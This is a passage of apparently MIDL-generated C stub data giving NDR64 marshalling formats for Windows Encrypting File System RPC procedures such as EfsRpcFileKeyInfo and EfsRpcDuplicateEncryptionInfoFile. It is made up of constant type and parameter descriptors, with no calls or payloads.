0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag144_t __midl_frag144 =\n{ \n/* long */\n    0xa4,    /* FC64_RANGE */\n    0x5,    /* FC64_INT32 */\n    (NDR64_UINT16) 0 /* 0x0 */,\n    (NDR64_INT64) 0 /* 0x0 */,\n    (NDR64_INT64) 2048 /* 0x800 */\n};\n\nstatic const __midl_frag143_t __midl_frag143 =\n{ \n/* long */\n    0xa4,    /* FC64_RANGE */\n    0x5,    /* FC64_INT32 */\n    (NDR64_UINT16) 0 /* 0x0 */,\n    (NDR64_INT64) 0 /* 0x0 */,\n    (NDR64_INT64) 8 /* 0x8 */\n};\n\nstatic const __midl_frag142_t __midl_frag142 =\n{ \n/*  */\n    { \n    /* *char */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag139\n    }\n};\n\nstatic const __midl_frag140_t __midl_frag140 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_OPERATOR */\n        0x4,    /* FC_EXPR_OPER */\n        0xe,    /* OP_PLUS */\n        0x0,    /* FC64_ZERO */\n        (NDR64_UINT8) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x5,    /* FC64_INT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 4 /* 0x4 */\n    },\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x5,    /* FC64_INT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 0 /* 0x0 */\n    }\n};\n\nstatic const __midl_frag139_t __midl_frag139 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag140\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag395\n    }\n};\n\nstatic const __midl_frag138_t __midl_frag138 =\n{ \n/* Struct_462_t */\n    { \n    /* Struct_462_t */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* Struct_462_t */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag142,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */\n            0x91,    /* FC64_EMBEDDED_COMPLEX */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag143\n        },\n        { \n        /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */\n            0x91,    /* FC64_EMBEDDED_COMPLEX */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag144\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag137_t __midl_frag137 =\n{ \n/* *Struct_462_t */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag138\n};\n\nstatic const __midl_frag130_t __midl_frag130 =\n{ \n/* Proc14_EfsUsePinForEncryptedFiles */\n    { \n    /* Proc14_EfsUsePinForEncryptedFiles */      /* procedure Proc14_EfsUsePinForEncryptedFiles */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 3 /* 0x3 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* arg_1 */      /* parameter arg_1 */\n        &__midl_frag165,\n        { \n        /* arg_1 */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* arg_2 */      /* parameter arg_2 */\n        &__midl_frag138,\n        { \n        /* arg_2 */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* long */      /* parameter long */\n        &__midl_frag398,\n        { \n        /* long */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag120_t __midl_frag120 =\n{ \n/* EfsRpcDuplicateEncryptionInfoFile */\n    { \n    /* EfsRpcDuplicateEncryptionInfoFile */      /* procedure EfsRpcDuplicateEncryptionInfoFile */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 64 /* 0x40 */ ,  /* Stack size */\n        (NDR64_UINT32) 24 /* 0x18 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* SrcFileName */      /* parameter SrcFileName */\n        &__midl_frag392,\n        { \n        /* SrcFileName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* DestFileName */      /* parameter DestFileName */\n        &__midl_frag392,\n        { \n        /* DestFileName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* dwCreationDisposition */      /* parameter dwCreationDisposition */\n        &__midl_frag398,\n        { \n        /* dwCreationDisposition */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* dwAttributes */      /* parameter dwAttributes */\n        &__midl_frag398,\n        { \n        /* dwAttributes */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* RelativeSD */      /* parameter RelativeSD */\n        &__midl_frag180,\n        { \n        /* RelativeSD */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* bInheritHandle */      /* parameter bInheritHandle */\n        &__midl_frag398,\n        { \n        /* bInheritHandle */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag398,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag113_t __midl_frag113 =\n{ \n/* EfsRpcFileKeyInfo */\n    { \n    /* EfsRpcFileKeyInfo */      /* procedure EfsRpcFileKeyInfo */\n        (NDR64_UINT32) 21889088 /* 0x14e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 40 /* 0x28 */ ,  /* Stack size */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* FileName */      /* parameter FileName */\n        &__midl_frag392,\n        { \n        /* FileName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* InfoClass */      /* parameter InfoClass */\n        &__midl_frag398,\n        { \n        /* InfoClass */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* KeyInfo */      /* parameter KeyInfo */\n        &__midl_frag174,\n        { \n        /* KeyInfo */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* MustSize, MustFree, [out], UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag398,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag110_t __midl_frag110 =\n{ \n/*  */\n    { \n    /* *char */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag107\n    }\n};\n\nstatic const __midl_frag108_t __midl_frag108 =\n{ \n/*  */\n    (NDR64_UINT32) 5 /* 0x5 */,\n    { \n    /* struct _NDR64_RANGE_FORMAT */\n        0xa4,    /* FC64_RANGE */\n        0x5,    /* FC64_INT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_INT64) 0 /* 0x0 */,\n        (NDR64_INT64) 266240 /* 0x41000 */\n    },\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 0 /* 0x0 */\n    }\n};\n\nstatic const __midl_frag107_t __midl_frag107 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag108\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag395\n    }\n};\n\nstatic const __midl_frag106_t __midl_frag106 =\n{ \n/* EFS_RPC_BLOB */\n    { \n    /* EFS_RPC_BLOB */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* EFS_RPC_BLOB */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag110,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag94_t __midl_frag94 =\n{ \n/*  */\n    { \n    /* *Struct_100_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag86\n    },\n    { \n    /* *Struct_266_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag90\n    }\n};\n\nstatic const __midl_frag92_t __midl_frag92 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x5,    /* FC64_INT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 4 /* 0x4 */\n    }\n};\n\nstatic const __midl_frag91_t __midl_frag91 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag92\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag395\n    }\n};\n\nstatic const __midl_frag90_t __midl_frag90 =\n{ \n/* Struct_266_t */\n    { \n    /* Struct_266_t */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* Struct_266_t */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 8 /* 0x8 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *char */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 32 /* 0x20 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag91\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag88_t __midl_frag88 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x1,    /* FC64_UINT8 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */\n    }\n};\n\nstatic const __midl_frag87_t __midl_frag87 =\n{ \n/*  */\n    { \n    /* struct _NDR64_CONF_ARRAY_HEADER_FORMAT */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 3 /* 0x3 */,\n        { \n        /* struct _NDR64_CONF_ARRAY_HEADER_FORMAT */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 4 /* 0x4 */,\n        &__midl_frag88\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 4 /* 0x4 */,\n        &__midl_frag398\n    }\n};\n\nstatic const __midl_frag86_t __midl_frag86 =\n{ \n/* Struct_100_t */\n    { \n    /* Struct_100_t */\n        0x32,    /* FC64_CONF_STRUCT */\n        (NDR64_UINT8) 3 /* 0x3 */,\n        { \n        /* Struct_100_t */\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag87\n    }\n};\n\nstatic const __midl_frag85_t __midl_frag85 =\n{ \n/* Struct_282_t */\n    { \n    /* Struct_282_t */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* Struct_282_t */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */,\n        0,\n        0,\n        &__midl_frag94,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag84_t __midl_frag84 =\n{ \n/* *Struct_282_t */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag85\n};\n\nstatic const __midl_frag83_t __midl_frag83 =\n{ \n/* Proc10_EfsRpcSetFileEncryptionKey */\n    { \n    /* Proc10_EfsRpcSetFileEncryptionKey */      /* procedure Proc10_EfsRpcSetFileEncryptionKey */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 40 /* 0x28 */ ,  /* Stack size */\n        (NDR64_UINT32) 16 /* 0x10 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* arg_1 */      /* parameter arg_1 */\n        &__midl_frag84,\n        { \n        /* arg_1 */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* arg_2 */      /* parameter arg_2 */\n        &__midl_frag398,\n        { \n        /* arg_2 */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* arg_3 */      /* parameter arg_3 */\n        &__midl_frag398,\n        { \n        /* arg_3 */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* long */      /* parameter long */\n        &__midl_frag398,\n        { \n        /* long */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag81_t __midl_frag81 =\n{ \n/*  */\n    { \n    /* **ENCRYPTION_CERTIFICATE */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag72\n    }\n};\n\nstatic const __midl_frag80_t __midl_frag80 =\n{ \n/* *ENCRYPTION_CERTIFICATE */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag74\n};\n\nstatic const __midl_frag79_t __midl_frag79 =\n{ \n/*  */\n    { \n    /* *RPC_SID */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag42\n    },\n    { \n    /* *EFS_CERTIFICATE_BLOB */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag75\n    }\n};\n\nstatic const __midl_frag77_t __midl_frag77 =\n{ \n/*  */\n    (NDR64_UINT32) 5 /* 0x5 */,\n    { \n    /* struct _NDR64_RANGE_FORMAT */\n        0xa4,    /* FC64_RANGE */\n        0x5,    /* FC64_INT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_INT64) 0 /* 0x0 */,\n        (NDR64_INT64) 32768 /* 0x8000 */\n    },\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 4 /* 0x4 */\n    }\n};\n\nstatic const __midl_frag76_t __midl_frag76 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag77\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag395\n    }\n};\n\nstatic const __midl_frag75_t __midl_frag75 =\n{ \n/* EFS_CERTIFICATE_BLOB */\n    { \n    /* EFS_CERTIFICATE_BLOB */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* EFS_CERTIFICATE_BLOB */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 